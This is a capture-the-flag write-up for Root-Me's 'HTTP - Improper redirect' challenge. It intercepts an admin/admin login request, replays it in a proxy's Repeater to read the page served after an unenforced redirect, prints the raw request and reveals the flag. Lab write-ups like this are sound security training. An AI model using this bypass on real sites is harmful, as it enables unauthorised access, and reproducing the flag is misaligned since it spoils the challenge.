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HTTP - Improper redirect

Get access to index.

1

Let's enter admin in both the fields and intercept the request.

2

We can now forward the request to the Repeater and modify it.

HTTP Request​

POST /web-serveur/ch32/index.php HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://challenge01.root-me.org/web-serveur/ch32/login.php?redirect
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://challenge01.root-me.org
DNT: 1
Connection: close
Cookie: _ga_SRYSKX09J7=GS1.1.1697428943.14.1.1697430697.0.0.0; _ga=GA1.1.1863804672.1697290591
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

login=admin&password=admin

Finally we have to send it to the server.

3

Flag​

ExecutionAfterRedirectIsBad